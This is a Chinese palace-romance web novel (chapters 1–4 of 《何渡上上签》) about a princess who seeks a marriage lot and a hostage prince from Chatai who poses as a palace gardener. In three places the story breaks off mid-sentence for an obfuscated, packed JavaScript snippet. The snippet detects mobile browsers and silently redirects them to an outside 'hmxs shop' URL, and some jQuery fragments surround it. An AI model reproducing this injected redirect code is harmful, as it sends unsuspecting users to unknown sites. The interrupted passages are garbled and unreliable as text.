《何渡上上签》 1. 求签 初春的天气总是阴雨连绵,雨点虽不大,雨丝却是细密如麻,斩也斩不断。 山脚下的马车正要停下,却不想马蹄被地上积水一滑,整个马车骤然一晃,车中传出一阵女子的惊呼。 车外随行的五旬老妇沉声道:“小姐请抓紧些下车吧,如今已近午时,误了时辰可就不吉利了。” 这老妇语气里带着威严之气,一看便知是这群丫鬟仆从的领头之人,就连车内的女子也要给她几分薄面,不敢轻易忤逆。 车帘抖了抖,一只戴着玉镯的皓腕从里面懒洋洋地伸了出来,车架上的小丫鬟忙抬手扶住。 紧随着探出车帘的便是一抹窈窕倩影,虽是带着一顶帏帽,看不清样貌,却不难看出身量纤纤,风姿卓绝。 女子着了一身精致的百花镶金丝的衣裙,在这山门清净之地不免有些突兀,可她毫不在意周围异样的目光,只微拧了眉头,自顾自理了理衣裙上细微的褶皱。 看她驻足在马车前,看着满地泥泞毫无向前再迈半步的意思,老妇的声音更沉了几分:“小姐,主子可特意交代过了,万不可误了时辰,小姐一时娇气,回去可是要遭到责罚的。” 旁边扶着的小丫鬟连忙解释:“兰嬷嬷,这雨下得颇紧,山上路滑,若是摔了我们公主你担得起吗,不如先在山脚下歇息片刻,等雨势稍缓些再上山吧。” 她话音未落,老妇便立刻横眉竖眼,厉声呵道:“丰禾,忘记规矩了是吧,等回去自领五大板。” 那叫作丰禾的小丫鬟方才想起,她们此次乃微服出行,只能唤公主为小姐,只是自己一时情急竟忘到了脑后。 不错,这女子正是当今圣上的次女、贵妃娘娘所出的清阳公主褚容与,这年长老妇兰娘就是贵妃身边的大嬷嬷,她们此行乃是去山顶的普渡寺求姻缘,希望求得个家世显赫、前途无量的东床快婿。 褚容与轻轻拍了拍风禾的手背,示意她好汉不吃眼前亏,皱了皱两缕精致的柳叶眉后,她眼一闭,牙一咬,提起裙摆一步步向山上走去。 饶是她步步小心,粘腻的泥水还是不免溅到裙摆上,缀着珠子的绣鞋也很快被污水濡湿,再也看不出原本的华丽。 看到容与浑身不自在的样子,丰禾连忙捧着手中的小包袱迎了上去:“小姐,不如找个地方换副鞋袜吧。” 她家公主最是喜洁,出门总要多备一身衣裳鞋袜,方便随时更换。 兰嬷嬷闻言却脸色一沉:“时辰不早了,恐误了吉时,再说您乃金枝玉叶,若是被旁人看到了……” “嬷嬷,我只是换双鞋袜罢了,耽误不了多久,再说礼佛都讲究焚香更衣,我若是满身泥污,恐怕也难免冲撞神佛,到时若是不灵了……” 兰嬷嬷心中一凛,她知晓贵妃有多在意公主的亲事,万不可有丝毫差池,她环顾四周,只见四处都是茂密的树林,并无他人,这才勉强答应。 “那小姐抓紧着些,奴婢就带人在一旁守着,以防旁人误闯。” 待兰嬷嬷领着众仆从退到林外,丰禾连忙掏出怀中的绣帕垫在树下的石块上:“小姐将就着坐吧。” 容与蹙眉,可如今也没得挑剔了,她只能隔着帕子坐在沾满泥污的石块上,翘起两根指头将已经泥泞不堪的鞋袜扯了下来,嫌弃地丢在一边。 没了鞋袜的束缚,两只从未被外人见过细白的小脚就这样毫无遮掩地暴露在外,几根白瓷般的脚趾圆润整齐,透着淡淡的粉晕,在微风的吹拂下不自在地蜷缩起来。 蹲在她身前的丰禾手脚也极为麻利,立刻掏出包袱里崭新的鞋袜套了上去,还忍不住多瞟两眼。 无论是第几次看到,丰禾总是忍不住感叹,她家公主的一双玉足真是生得极妙,细长而不显干瘦,柔嫩而不显臃肿,珠圆玉润、白里透红,饶是她一个女子看了都忍不住心下一热。 这样想着,她手上的动作又加快了几分,还一边环顾四周,生怕哪个不长眼的登徒子误闯过来,看到这“香艳”的一幕。 鞋袜换罢,丰禾将容与扶起来:“小姐咱们快走吧,若真误了吉时,等回去娘娘又要骂了。” 她心里清楚,什么贵婿,什么良缘,她家公主压根本在意,可抵不住贵妃娘娘在意呀,她恨不能明日就将女儿嫁进一个位高权重之家,自然容不得半点意外。 容与扶着丰禾的手翩跹而去后,方才坐的那块石头上方突然传来一阵窸窣声。 “哗啦”,茂密的树冠抖了抖,紧接着“啪”一声轻响,一个身形高大健硕的男子自浓密的树杈之间轻巧落地。 他将手上的灰尘大剌剌往衣袍上一蹭,若有所思地低头看了看方才那块石块,只见满是泥水的石头上独独有小小的一块干净锃亮。 男子扯了扯嘴角,不屑腹诽:呵,矫情。 可不知想到什么,他隐在宽大袖口里的手不自觉地捻了捻,可指尖触及的只有沾着潮湿空气的粗糙,而没有半分细腻滑嫩的感觉。 当猛然意识到自己在做什么时,他怔了一下,继而转身快步离开。 * “哎呦,我的主子呀,你去哪了?” 一个身穿短裳,小厮打扮的少年如热锅上的蚂蚁一般在普渡寺门外乱转,看到男子的身影时,他连忙迎了上去。 见男子不急不忙,他又苦口婆心道:“这里是京城,不是咱们察泰,咱们来这是为质的,人在屋檐下不得不低头,咱们务必小心谨慎……” 喋喋不休的小厮正是陪尉家少主来京为质的辉山,而他口中的主子便是察泰国尉家的少主——尉朔。 他们从察泰而来本就路途遥远,仅有的两匹骏马也在半路上不知被哪个天杀的偷了去,是以直到三日前才刚刚抵达京城,比其他诸位质子都晚了许多。 还未休整妥当便赶上了今日的黄道吉日,礼部主客清吏司安排众质子皆要前来普渡寺聆听佛音,修习中原佛法。 也许是这些时日赶路太累,又水土不服,辉山刚爬到半山腰就闹了肚子,等解决完回到原地,却发现自家主子不见了。 见尉朔不应,他继续苦口婆心:“主子你别不当回事儿,我可听说晟朝人都是小心眼儿,咱们此次来迟已经是触了他们的霉头,若再不多加小心……” 他虽是在提醒尉朔,心里却比他家主子更慌,毕竟长到十五岁的年纪,这还是他第一次走出察泰,他还从未见过如此繁华的街市,一开始看什么都新鲜,可看着看着心里就愈发不安。 “哎,主子你倒是等等我呀。”半天无人应和,辉山抬头一看,才发现尉朔已经迈着一双长腿走得快没了踪影,他再顾不得其他,连忙快步追了上去。 即便在同龄人中再怎么老成稳重,可说到底辉山也只是个半大少年,未过多久,所有的焦虑不安便被新奇的见闻驱散殆尽。 他低头跟在尉朔身后,眼睛却忍不住偷觑着来往的善男信女:“主子,他们的衣裳真好看,一看就滑滑的,细细的。” 尉朔面无表情地扯了扯嘴角:“华而不实。” 可不知为何,他的脑海中再次浮现出不久之前在树上无意间瞥到的一幕,那是一个年轻女子,虽看不清帷帽下的脸,但声音娇娇柔柔的。 更绝的是她那双用来奔波跋涉的劳碌物什,他头一次见那处竟也能如此洁白细腻,好像不染尘世一般,不知与这些贵重的锦缎相比,究竟哪个更胜一筹。 还好,二人很快便赶到了聆听佛音之处,尉朔本不耐烦在此静坐,可此时他莫名发觉静一静心也挺好,至少能暂时压制住心里那股异样。 因为二人的耽搁,方丈讲经已接近尾声,主客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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尉朔虽满心不屑,可不知为何,他还是鬼使神差地回头了。 转过头的一刹那,斜风骤止,那女子的脸庞重新隐回厚重的帷幕之下,庄重肃穆。外人再也窥探不得半分。 尉朔在心中暗暗松了一口气,他认出这女子就是方才山林中的那个,还好这次什么都没有看到。 可他不知道的是,帷幕下的一双明眸却已将这边看了个完全。 看清男子的相貌,褚容与心里一惊,这人的面庞棱角分明,眉眼冷厉,鼻梁更是高挺如刀削一般,即使隔着一层帷幕,也看得人心里发慌。 更不要提这男子的一身装束也是不伦不类,虽穿着大晟男子常穿的宽袖长袍,却将袍角高高束起在腰间,一双结实有力的长腿就这样大剌剌露在外面,即使隔着一层里裤也能看出分明的线条。 容与一时失了神,这样结实的身条她还从未见过,除了父皇前些时日新得的贡马。 那匹马也有这样一身结实勃发的皮肉,据说是草原猎得的野马,十分烈性,谁都无法将之驯服。 “小姐。”一旁的丰禾轻声唤她。 她这才猛然回神,拉着丰禾逃也似的匆匆向外走去:“咱们快走吧。” 直到走出殿外,再也感受不到那抹凌厉的目光时,容与的心才稍稍安定几分。 丰禾连忙提醒:“咱们还未求签呢。” 容与这才想起来,出宫前母妃千叮咛万嘱咐一定要求个姻缘签。 母妃的命令她不好违抗,只好拉着丰禾在殿外徘徊了许久,一直等到盘算着那男子应当已经离开了,才再次回去。 还好,这殿中确实已经没了那个不速之客的身影。 容与静下心,双手虔诚地摇晃起签筒,可就在这时,手臂上却突然被一股大力一撞。 刹那间,她整个人失去平衡,往地上狠狠摔去,连带着签筒也直接滚落在地。 2. 再遇 容与强忍着胳臂上的痛意,奋力撑起身子,可抬起头的一刹那,一双柱子般健壮的小腿就那么直愣愣地闯进她的眼帘。 她一愣,顺着那双长腿看上去,一张冷脸就这样猝不及防地闯入眼帘——是那个奇怪的男人! 下一刻,她身子一僵,软绵绵摔了回去。 只不过这次她刻意调整了位置,保证脸朝下,像鸵鸟一般将头深深埋下去,不用面对那个让人心里发毛的男子。 丰禾看她又倒下去,连忙心急火燎地蹲下身:“小姐,你如何了?” 忽然,她感觉到自己的手腕被自家公主用力握了握。 她恍然大悟,公主是故意的,虽然不知公主为何要这样做,但她也只能顺着演下去。 而那个沉默良久的男子也开口了:“姑娘,你没事吧?” 这声音听起来如他的相貌一般冷,让人心里无端发毛,容与此刻无心追究,只想离这人远些。 话音未落,尉朔便看到被凌乱帷帽盖住的脑袋胡乱摇了摇。 “姑娘,你真的没事?” 尉朔心中也是愧疚的,方才他忽然发现带在身上的护身符不见了踪影,那可是察泰最德高望重的老者给他的,承载着千千万万族人的期许。 一时情急,便未注意到挡在前方的女子,他身量本就较中原人高大许多,这一撞势必不轻。 更何况他早就认出了,这女子便是在树林中偶遇的那位,如此娇气的一个人,连摔了两次真的无碍吗。 这样想着,他伸手想将人扶起来,感受着手上若有若无的重量,他心中不禁咋舌,这晟朝的女子都这么瘦吗,这样的身量放在他们察泰都是要被人瞧不上的。 可扶到一半,尉朔却突然顿住了,他此刻才将将想起来教他中原文化的先生曾说过,大晟最讲究男女授受不亲。 那他此刻的动作不会被当成是唐突女子吧,若是传出去恐怕又要让察泰蒙羞了。 下一瞬,他拖住女子臂弯的手本能地抽了回去。 “哎呦!”刚站起一半的女子又重重跌了回去。 丰禾气得顾不上害怕,只叉腰指向对面的无礼男人:“你这人怎么回事,你一个男子,怎么能这样捉弄我家小姐。” 容与连忙拉住她:“丰禾,算了。” 自从碰上这个男子后,她已经连摔三次了,比她这三年摔倒的次数还要多,她现在只想赶紧远离这个瘟神。 察觉到容与的暗示,丰禾气鼓鼓道:“我家小姐并无大碍,你赶快走吧!” 隔着厚重的帷帽,尉朔也看不清女子的脸色,不过既然她都亲口说了无碍,反正也不能是骗他的吧。 僵持之间,辉山小跑过来:“主子,殿中都找过了,没有。” 尉朔心里一沉,也许是丢在别的地方了。 既然这个女子并无大碍,那他就不在此多做耽搁了,这样想着,尉朔利落转身,毫无负担地大步离去。 容与虽有些气恼,可看到他走了,还是松了一口气。真不是她这个大晟公主怯懦,实在是此时随从侍卫都不在身边,她不想和这个莽夫起冲突,平白叫人看了笑话。 而已经走出几步之遥的尉朔却骤然脚下一顿,他突然记起先生好像还曾说过,晟朝人最重礼数。 于是在容与刚刚放松一些时,他又毫无征兆地转了回来,在容与惊恐万分的目光中不伦不类地行了个礼后,才彻底离开此地。 “这人莫不是脑子有什么毛病?”丰禾毫不留情地朝他离开的方向啐了一口。 容与抚了抚狂跳不止的胸口:“好了,他应该走了,对了,咱们的签筒呢?” 丰禾这才想起来她们此行的目的,连忙向地上找去。 忽然,她激动转身:“小姐你看,是上上签呀!” 方才这么一摔,签筒的里的签文好巧不巧甩落一支,而这支签恰好是一支上上签。 听到这结果,容与心里才稍稍开怀一些,倒并不是因为她多想求一段良缘,只是因为终于能和母妃交差罢了。 丰禾双手捧着那支签,向着大殿中的佛像拜了又拜:“神明定是听到了您的祈愿了。” 容与未应,面上却是讪讪的,幸好隔着帷帽看不出她此刻的心虚。 其实她方才许的愿并非是关于婚事的,而是满心都想着郊外的庄子,希望她别院中的菜苗、粮食们都能顺利长成,等到秋天有个好收成。 她扶着丰禾的手站起身来,却发现裙角上好像勾着什么东西。 弯腰捡起一看,这竟是个护身符,不过上面的花样图腾看起来并不像京城的东西。 也不知怎么想的,容与犹豫一瞬,还是鬼使神差地将它塞进袖中。 * 先行离去的尉朔直接回了落脚之地,即专设接待外邦来京之用的“会同馆”。 这里地处闹市,许多客房又年久失修,实在算不上舒适。 刚入京的质子们本都被安置在此处,但是没过几日,一些富裕强盛之国的质子便另赁院落搬了出去,至今仍留在此处的都是些没落小国的质子。 尉朔回到住处时,正碰上一个腰间缀满珊瑚、松石的质子正抄手站在门口,不耐烦地盯着仆从进进出出搬东西。 尉朔认得他,若是没记错,他便是北乌质子塞音,乃北乌可汗最宠的小儿子,北乌台吉便是他的同母兄长。 看到尉朔回来,塞音玩味地扯了扯唇角,见他点头示意一下便要进屋去,塞音忙抬起一条腿拦在他面前。 “喂,破落户,屋子里剩下些破烂,小爷我也懒得搬了,就赏你好了。” 尉朔不应,只绕开他。 塞音脸上挂不住,三步并两步追上去,一把扯住尉朔的领口:“你们察泰不止破落,还两面三刀,若不是你们临阵倒戈,我们北乌早赢了晟国,你们察泰人都是卑贱的小人。” 尉朔脸上一沉,说他可以,但是说他的族人便是触及了他的逆鳞。 他握住塞音抓着他衣领的手腕,只听“咔嚓”一声轻响,那人便捂住手腕龇牙咧嘴地蹲了下去。 尉朔一如既往地冷着脸,凑到他耳边沉声道:“你北乌倒是强盛,如今不也沦落到来此为质,同为质子,谁又比谁高贵?” “你……我记住你了,你给我等着!”嘴上说着狠话,塞音却不敢再和尉朔纠缠下去,毕竟手腕上的疼痛不是假的,察泰人野蛮的名声也不是假的。 直到这时,辉山才姗姗来迟,看到塞音气急败坏摔门而去,他幸灾乐祸凑上来:“主子,那位踢到钢板了?” 尉朔不应,只是一边往简陋的寝屋走去,一边问道:“你又上哪凑热闹去了?” “害,小的去买炊饼,正碰上宫里招人,说是要种什么东西,就过去看了看。”辉山挠挠脑袋。 “种什么东西?”本还漫不经心的人突然转过头来认真问道。 辉山摇头:“没听清,大概是种菜吧。” 在他对大晟为数不多的听闻中,这里是极为富饶的,想要富饶,那一定会产许多粮许多菜呀,富贵无比的皇宫一定就是种粮种菜最多的地方。 更何况这次招了那么多人,除了种地还有什么事情需要这么多人手。 所以,他猜皇宫里一定是要种地! 听完辉山的话,尉朔阴沉许久的眼神终于一亮,他嘱咐了两句便头也不回地往那招人之处奔去。 * 容与回到宫中后,张贵妃看到那支上上签很是满意,破天荒地夸赞了她好几句,接着便允她早些回去歇着了,并未注意到她走路的姿势有些奇怪。 一进寝殿,丰禾就赶紧扶她坐下,又急急喊道:“嘉穗,快将跌打伤药取来!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956479|193144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她轻轻卷起容与的裤脚,白皙的双腿上几块青紫的痕迹触目惊心。 丰禾越想越气,索性嚷嚷道:“公主,您都摔成这样了,要我说就该把那个莽夫当场绑了,治他个大不敬之罪!” 嘉穗一边给容与仔细上药,一边无奈摇头:“幸好你没当场发作,否则岂不是让整个京城的人都知晓了,咱们公主沦落到去寺里求姻缘。” 丰禾的气势瞬间就瘪了下去,她家公主名声本就不佳,可不能再雪上加霜了。 “哼,就你聪明,下次还是你陪公主出去吧,我这个毛手毛脚的就不奉陪了。”丰禾气鼓鼓地甩手离去,徒留容与和嘉穗二人捂嘴偷笑。 她们二人是自小就伺候容与的,嘉穗与容与同岁,而丰禾略小一岁。前者老成稳重,而后者活泼伶俐,很是互补。 其实嘉穗的心疼不比丰禾少,她柔声试探:“公主,您可还记得那莽夫是何模样,要不奴婢派人去打听一番?” 容与拧眉回忆,那男子生得剑眉星目,鼻梁高挺坚毅如刀削一般,颇为尖利的下颌线条斜插入鬓,浑身上下透着一副生人勿近的气势。 其样貌虽并非时下女子们喜欢的风流俊逸之貌,可阳刚俊朗却别有一番味道,不过就是皮肤太过粗糙,举止也太过野蛮,白搭了一副好样貌。 她心有余悸地摇头:“不必了,就当被狗咬了一口罢。” 哼,说他是狗都抬举他了,就他那不修边幅的模样,还不如胡昭仪养的那只狮子狗收拾得干净齐整呢。 两人说笑间,门外传来兰嬷嬷的声音:“公主,今日宫后苑中新运来许多珍奇花木,娘娘特意唤您去看看呢。” 容与心中一动,母妃虽然对她要求严厉,但还是知晓她的喜好的。 虽然她喜欢侍弄的并非宫后苑中的哪些名贵花草,而是她们这些贵人们看不上的粮食菜蔬,但总归都是土地里的活计,母妃记岔了也无可厚非。 既然是母妃用心安排,她若不去恐令母妃伤心。 虽然腿上还隐隐作痛,容与还是特意换了身最喜欢的绯红色长裙施施然往园子中去了。 * 踏进园子的那一刻,容与原本带笑的面色就骤然冷了下去。 只因一个身着月白长衫的年轻男子早已等在园外,好像专程等候她一样。 这人容与并不陌生,因为他正是张贵妃兄长的亲子,容与的舅表兄——张承裕。 “张大人怎么在此处?”容与只是客套一句,但对张承裕的事情其实毫不关心。 见容与主动与他搭话,张承裕连忙迎上去,挤开伴在容与一侧的嘉穗,站在她身边的位置:“劳表妹记挂,我这两日接了宫中花木的差事,正带匠人在此植花。” 见容与只是敷衍点头,他又满脸堆笑:“表妹不必见外了,你我乃是表兄妹,你唤我句表兄便好。” 容与毫不客气地嗤笑出声:“张大人想左了,本宫的意思是,大人为臣,本宫为君,你应称本宫为公主殿下才是。” 张承裕的笑容骤然一僵,他不自在地搓了搓手,转而对忙碌的花匠们颐指气使道:“你们手脚小心着些,若是伤了这些苗,本官定将你们拿了问罪!” 看他这副大摆官威的架势,容与不屑地冷哼一声:“张大人自去忙吧,本宫随意转转便回去了。” “不忙,能陪公主赏花乃臣之幸。” 若不是顾及着公主仪态,容与真的想翻个白眼了。 可还未等她发作,便看到角落里一个体型明显较旁人高大许多的工匠正将一株极为珍贵的兰草往嘴里塞。 “喂,你在做什么?”容与顾不得其他了,快步走过去。 那人被惊得回过头来,一张棱角分明的脸就这样暴露在容与眼中。 四目相对之下,容与脚下蓦然一顿,又是他? 3. 杖责 这人分明就是在普渡寺连摔她三次的莽夫! 而此时她一身花匠打扮,手上还举着一株珍贵的兰草往嘴里塞。 看他冒着青色胡茬的嘴角沾满了绿色汁液,恐怕已经吃进嘴里不少。 而对面的尉朔被突然一吼也是怔在原地,连咀嚼都忘记了。 那张脸映入眼帘的一瞬,万籁俱寂。除了粗糙的脸皮下有些隐隐发烫之外,尉朔感觉自己的感官在这一刻好像都忽然失灵了。 一张脸白皙得好似察泰的雪,一双眼睛桃花一般,似怒似嗔,明艳得连这宫后苑中的仙葩都黯然失色了。 如此娇的小人儿,大概很难养活吧。 待反应过来自己莫名其妙的思绪时,他才“呸”一声吐出嘴里的残叶,行了个不伦不类的礼,嘴上却一言不发。 不是他不识礼数,而是他实在不知眼前的女子是何许人也。 而他也怎么都不会想到,眼前这位便是普渡寺中那个戴着帷帽的女子。 张承裕闻声连忙跟过来,未等容与开口,就抢先厉声喝斥:“贱民,见到公主殿下还不赶快下跪问安。” 尉朔依言跪下,身板却仍挺得笔直,他虽跪着,却也几乎有容与下颌处那么高,像座山丘一般堆在那里,压得她喘不过气。 腿上的伤处又开始隐隐作痛,痛得容与愈发愤愤。 她高昂着头颅故意不看他,只幽幽道:“你叫什么名字?” “我……小人名唤李满仓。”说完他不自在地抽了抽鼻子,毕竟真正的花匠李满仓被他敲晕在家,命辉山看守着呢。 “行,李满仓,本宫且问你为何要吃这兰草?”看着满地狼藉,容与心疼得几乎喘不过气,这可是特意从江南运来的兰草,一株可值千金。 尉朔低头:“小的听闻韭菜味道甚美,所以想尝一尝。” 此言一出,周遭一片寂静。 良久之后,还是张承裕先呵斥道:“荒唐,这宫后苑哪里来的韭菜,这可是千金难买的兰,你个眼瞎心盲的贱货。” 所以宫里不种菜吗?尉朔低落下来。 察泰常常饥荒,他费劲心思混进宫来也只是想学点种地的本事,好带回察泰,没想到竟闹了这么大的笑话。 张承裕厉声道:“来人,将此人给本官逐出宫去,永世不许录为花匠。” 尉朔心里一紧,他打晕李满仓冒名入宫已经很对不起人家了,若是永世不得再为花匠,那真正的李满仓以后要如何生存? 他一咬牙,大不了将真相坦白了吧,就算被治冒名顶替之罪,也不能连累无辜之人。 就在这时,一个娇柔的声音却率先响起:“慢着,能入宫为花匠的都是个中高手,他也许只是一时糊涂,倒也不至于砸了以后的饭碗吧。” 听闻此言,尉朔心里松了口气,感激地看向容与。 见容与开口,张承裕连忙恭敬拱手:“公主您说该怎么发落,一切都听您的。” 容与打量尉朔一眼,清了清嗓子:“既是毁了兰草,罚自是要罚的,就打他十个大板吧。” 其实毁了珍贵兰草打个七板便差不多了,另外多出的三板是抵他摔她的三下,也算公平。 尉朔倒是满不在意,反正他皮糙肉厚,十大板也不过尔尔,只要不连累无辜的李满仓,挨顿打又何妨。 他真心实意地朝容与躬身谢恩:“谢明懿公主体恤!” 容与拧眉:“你叫本宫……明懿公主?” 尉朔摸不清头脑,只重重点头:“小的早就听闻几位公主中属明懿公主最为宽仁,总能体恤百姓疾苦。” 所以他猜测眼前这位便是美名远扬的明懿公主,再不济也得是行三的宜和公主,左不会是声名狼藉的清阳公主。 容与咬牙切齿:“不错,你记好了,今日就是明懿公主打了你十板。” 说完她朝嘉穗使了个眼色,嘉穗会意,悄悄前去打点行刑的差役,专门嘱咐他们要将浑身的力气都使出来,不准有一点手软。 施施然走回寝宫的路上,容与听着身后压抑着痛苦的闷哼声,心情大好地勾了勾唇角。 * 容与还是在回房的路上被兰嬷嬷拦下了,说是张贵妃找她有要事商议。 贵妃开门见山:“清阳,在园子里可曾遇见什么人了?” 容与直接反问:“母妃希望儿臣见到谁?” “既然你已经猜到了,母妃便直说了,你表兄温文尔雅、一表人才,若是没有更好的人选,嫁与你表兄也是个极好的归宿。” 容与自嘲一笑,还以为母妃突然关心起她了,知晓她喜欢侍弄土地,还专程唤她去看新栽的花木,原来还是为了婚事。 从还未及笄时母妃便一直留意着朝中的青年才俊,倒并非是为了给她找个好驸马,而更多还是给皇兄找个好助力。 最初,张贵妃看上了阁老之孙,也是朝中的新起之秀,可这门亲事被大她几个月的明懿公主抢了先,人家乃皇后所出,既占了嫡又占了长,张贵妃再怎么受宠终究也是争不过的。 后来的青年才俊要么是家世稍欠了些,要么是官位稍矮些,张贵妃千挑万选之后将目光落在刚丧妻的户部尚书身上,此人家世官位皆显赫,除了年纪比容与大上二十来岁外,并无其他可以诟病之处。 这事差点定下来,还好圣上发了怒,斥责贵妃此举荒唐,将公主嫁与老鳏夫,平白辱没了皇家名声,她遭了一通责骂方歇了此心。 就这样挑挑拣拣的,直到行三的宜和公主都嫁了,褚容与这个行二的还未有消息。 这下张贵妃终于急了,既然招不到能给儿子借势的驸马,那便不如让娘家沾了这个光,也算肥水不流外人田。 她急切地问女儿:“招你表兄为驸马,你究竟愿意不愿意?” 容与漫不经心:“张家表兄下场科举多年都未中,如今也只是靠着父皇对张家的恩宠,得了个小小的六品上林苑右监副,母妃难道又不嫌了?” 张贵妃如今满心都是棘手的婚事,根本未听出女儿话里的嘲讽之意:“如今也没的挑了,能尚公主也是给张家增光了。” 毕竟张家一代不如一代,如今都是吃从前的老本,到了张承裕这代更是岌岌可危。 容与往座椅中一窝,淡淡道:“既然如此,儿臣愿意与否又有什么干系?” 听出女儿话中的嘲弄,贵妃的脸色也冷了下来:“你也不必挑剔你表兄,若不是你自个儿不争气,又何至于沦落到如今这个境地,惹得本宫与你兄长不仅沾不到你的光,还要反受你拖累。” 就如前些年皇上给三位最为年长的公主各赐了一座京郊的别院,明懿公主特将别院向百姓开放,与民同乐,不仅得到百姓拥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956480|193144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戴,还令圣上龙颜大悦,拍手赞叹此女类己。 宜和虽比不得明懿,可她也将别院精心修整了一番,特意摆上帝后与各位妃嫔喜欢的陈设,在万寿节之日请圣上及后宫众人前去游玩,圣上也称赞其孝心至纯至真。 而清阳呢,一想起这件事张贵妃就气不打一处来。 她的好女儿将好好的别院生生弄成了土里土气的农庄,里面种满了粮食果蔬。 在当朝,这种侍弄土地的事情都是下等农人之事,贵族顶多种些洁净高雅的花草便罢了,哪里有去种田的。 后宫诸人听闻清阳公主竟用圣上赏赐的别院做这种腌臜事,纷纷笑到了张贵妃面前。 从此之后,“土公主”的名号便成了整个京城的笑柄。 这本也不是不能挽回,毕竟民以食为天,许多农人对这位接地气的公主还是颇有好感的。今上也极重农事,每年都要举办春耕节以示重视,对公主能体恤民情自然乐见其成。 可就在张贵妃苦思冥想,该如何为女儿造势之时,别院却突然出事了! 几个饿红眼的流民竟偷偷潜入那座庄子,偷了许多菜苗,容与勃然大怒,直接命人施以鞭刑,那几个流民当晚就重伤而死。 种粮食却不给百姓吃,还闹出了人命?上到贵族下到平民皆是一片哗然。 清阳公主飞扬跋扈、视人命如草芥的名声很快便传遍了整个大晟,人人皆可唾弃之。就连她喜好耕种之事,也被传成将宝贵粮种拿来亵玩取乐,平白糟蹋了农人赖以生存的根本。 听到贵妃的指责,容与自嘲一笑,素昧平生的人道听途说,唾骂于她,她可以不在意,可亲生的母亲也要拿这件事戳她的心窝。 嫁就嫁了吧,反正这里也没什么可留恋的了。 “父母之命,媒妁之言,母妃心意已决,儿臣自然没什么可说的。” 看着她离去的背影,贵妃叹了口气:“这孩子……罢了,给本宫梳洗打扮,咱们去找皇上求赐婚圣旨。” 可是她还未打扮妥当,皇帝身边的大太监李桂就满面堆笑着踏进殿门。 他一见到张贵妃立刻拱手相贺:“恭喜娘娘,贺喜娘娘!” 贵妃向身后的嬷嬷使了个眼神,嬷嬷会意,借着宽大袖口的遮掩往李桂手中塞了块沉甸甸的银锭。 “皇上遣公公前来,可是荣王在庆祥立了功?” 此次庆祥府饥荒,皇上驳了太子前去赈灾的请求,而另择了贵妃所出的二皇子荣王褚炆卓前去,不可谓不看重。 张贵妃也因此春风得意,就连去皇后宫中请安时腰杆都比寻常更加挺直了不少。 李桂为难赔笑:“回禀娘娘,倒不是荣王殿下之事,而是清阳殿下……” “是清阳的婚事?”张贵妃面上肉眼可见地失落一瞬,不过想到她本就要求见皇上商议此事,面色便也恢复如常了。 接着她眼珠一转,暗暗试探道:“皇上可曾说了择的是哪家才俊?” 李桂低着头,掩住闪烁的目光:“倒是不曾,想来是皇上看重娘娘,想等娘娘前去,亲口告诉您呢。” 张贵妃得意地勾了勾上挑的唇角,高高扬起下巴,眼中是一如既往的倨傲之色。 皇上亲自挑选的驸马定是人中龙凤,待得女儿招个显贵的驸马,儿子又立了大功归来,便是皇后也要避上她几分。 4. 赐婚 “啪!”乾宁宫紧闭的殿门中传来一声清脆的碎裂声。 “什么?皇上您说……您为清阳择的驸马是……是一个质子?”张贵妃双目圆睁,不可置信地骤然站起身。 在看清皇帝泰然颔首后,她顾不上身上大片突兀的茶渍,急急上前两步在御案前跪下。 “皇上,万万不可以,那尉氏说得好听是个劳什子国主,说难听些就是个破落户,那察什么国臣妾更是听都未曾听过,清阳可是金枝玉叶,怎么可以下嫁给这等粗鄙之人?” 皇帝继续埋头批着奏折,并未抬头看她,声音淡淡的却比方才更多了几分上位者的威压:“圣旨已经拟好,朕只是知会你一声。” 常伴君侧盛宠多年,还能生下一儿一女和皇后分庭抗礼,张贵妃自然也不是什么蠢人,她察觉到圣上的语气冷下去,连忙膝行几步,柔柔啜泣起来。 “皇上您亲自选的驸马自然是人中龙凤,倒不是臣妾不赞成这门婚事,而是清阳她心气一向高得很,恐怕又要与臣妾闹了。” 她悄悄抬起头揣度皇上的脸色,正与座上之人深不可测的双眸撞了个正着,她连忙弱弱低下头去,双肩微微颤抖。 “皇上,清阳作为大晟的公主,与别国联姻自然是她应当承担的责任,只是此次前来的质子众多,也不一定非这个尉朔不可呀。” 说到这里,她突然话锋一转:“听说北乌的质子也尚未有婚配,不如将他招为清阳的驸马可好?” 从大晟建立之初,北乌便不停侵扰,这次即使打退北乌也是险胜,张贵妃又怎会不知北乌的狼子野心,可不入虎穴焉得虎子? 若是清阳和亲北乌,便无异于为皇上解决了眼下最为棘手的麻烦,这样一来,皇上势必要更宠爱她几分,也爱屋及乌,更加看重卓儿几分。 可是不同于张贵妃预料中的龙颜大悦,她俯首跪了许久,大殿之中都只是一片死寂,正当她惴惴不安地想要抬起头时,上首突然传来一声意味不明的哼笑。 “呵,从前倒是未看出贵妃如此十分深明大义呀,竟舍得将自己的亲女送去北乌和亲。” 众人心中皆明白,质子们虽然如今在京为质,可保不准何时还是要回到母国的,到时公主作为其妻不免也要随之而去。 